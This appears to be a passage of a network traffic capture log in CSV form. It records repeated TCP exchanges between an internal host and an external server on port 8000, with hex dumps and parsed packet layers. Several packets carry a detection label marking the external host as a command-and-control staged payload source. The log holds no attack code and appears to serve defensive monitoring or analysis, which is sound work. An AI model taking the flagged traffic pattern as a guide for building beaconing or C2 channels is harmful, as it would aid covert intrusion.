0, \"\"len\"\": 41, \"\"id\"\": 45362, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16076, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263020, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14802, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:49.946084,830,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263021,bc2411360d0cbc24112907bb080045000034a4d8400040068b1bc0a3a7890a98980b1f40fa650e975e6347107d6d8010003f0af700000101050a47107d6c47107d6d,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}m...?\n......\nG.}lG.}m\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42200, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35611, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263020, 1192263021))]\"\"}}]\"\n2026-07-01 09:11:50.961624,831,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263020 Ack=244801123,bc24112907bbbc2411360d0c080045000029b133400080063ecb0a98980bc0a3a789fa651f4047107d6c0e975e635010201439d2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45363, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16075, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263020, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14802, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:50.961650,832,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263021,bc2411360d0cbc24112907bb080045000034a4d9400040068b1ac0a3a7890a98980b1f40fa650e975e6347107d6d8010003f0af700000101050a47107d6c47107d6d,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}m...?\n......\nG.}lG.}m\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42201, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35610, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263020, 1192263021))]\"\"}}]\"\n2026-07-01 09:11:51.961701,833,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263020 Ack=244801123,bc24112907bbbc2411360d0c080045000029b134400080063eca0a98980bc0a3a789fa651f4047107d6c0e975e635010201439d2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45364, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16074, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263020, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14802, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:51.961720,834,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263021,bc2411360d0cbc24112907bb080045000034a4da400040068b19c0a3a7890a98980b1f40fa650e975e6347107d6d8010003f0af700000101050a47107d6c47107d6d,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}m...?\n......\nG.}lG.}m\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42202, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35609, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263020, 1192263021))]\"\"}}]\"\n2026-07-01 09:11:52.977370,835,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263020 Ack=244801123,bc24112907bbbc2411360d0c080045000029b135400080063ec90a98980bc0a3a789fa651f4047107d6c0e975e635010201439d2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45365, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16073, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263020, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14802, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:52.977396,836,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263021,bc2411360d0cbc24112907bb080045000034a4db400040068b18c0a3a7890a98980b1f40fa650e975e6347107d6d8010003f0af700000101050a47107d6c47107d6d,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}m...?\n......\nG.}lG.}m\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42203, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35608, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263020, 1192263021))]\"\"}}]\"\n2026-07-01 09:11:53.993004,837,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263020 Ack=244801123,bc24112907bbbc2411360d0c080045000029b136400080063ec80a98980bc0a3a789fa651f4047107d6c0e975e635010201439d2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45366, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16072, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263020, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14802, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:53.993036,838,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263021,bc2411360d0cbc24112907bb080045000034a4dc400040068b17c0a3a7890a98980b1f40fa650e975e6347107d6d8010003f0af700000101050a47107d6c47107d6d,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}m...?\n......\nG.}lG.}m\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42204, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35607, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263020, 1192263021))]\"\"}}]\"\n2026-07-01 09:11:55.008669,839,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263020 Ack=244801123,bc24112907bbbc2411360d0c080045000029b137400080063ec70a98980bc0a3a789fa651f4047107d6c0e975e635010201439d2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45367, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16071, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263020, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14802, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:55.008699,840,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263021,bc2411360d0cbc24112907bb080045000034a4dd400040068b16c0a3a7890a98980b1f40fa650e975e6347107d6d8010003f0af700000101050a47107d6c47107d6d,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}m...?\n......\nG.}lG.}m\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42205, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35606, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263020, 1192263021))]\"\"}}]\"\n2026-07-01 09:11:56.008695,841,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263020 Ack=244801123,bc24112907bbbc2411360d0c080045000029b138400080063ec60a98980bc0a3a789fa651f4047107d6c0e975e635010201439d2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45368, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16070, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263020, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14802, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:56.008728,842,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263021,bc2411360d0cbc24112907bb080045000034a4de400040068b15c0a3a7890a98980b1f40fa650e975e6347107d6d8010003f0af700000101050a47107d6c47107d6d,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}m...?\n......\nG.}lG.}m\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42206, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35605, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263020, 1192263021))]\"\"}}]\"\n2026-07-01 09:11:56.869640,843,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1192263021 Ack=244801123,bc24112907bbbc2411360d0c08004500003db139400080063eb10a98980bc0a3a789fa651f4047107d6d0e975e6350182014d41300001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45369, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16049, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263021, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 54291, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:11:56.869693,844,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263042,bc2411360d0cbc24112907bb080045000028a4df400040068b20c0a3a7890a98980b1f40fa650e975e6347107d825010003f0aeb0000,\".$.6\n..$.)....E..(..@.@.. ....\n....@.e..^cG.}.P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42207, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35616, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263042, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:11:57.883712,845,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263041 Ack=244801123,bc24112907bbbc2411360d0c080045000029b13a400080063ec40a98980bc0a3a789fa651f4047107d810e975e635010201439bd000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45370, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16068, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263041, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14781, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:57.883735,846,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263042,bc2411360d0cbc24112907bb080045000034a4e0400040068b13c0a3a7890a98980b1f40fa650e975e6347107d828010003f0af700000101050a47107d8147107d82,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, 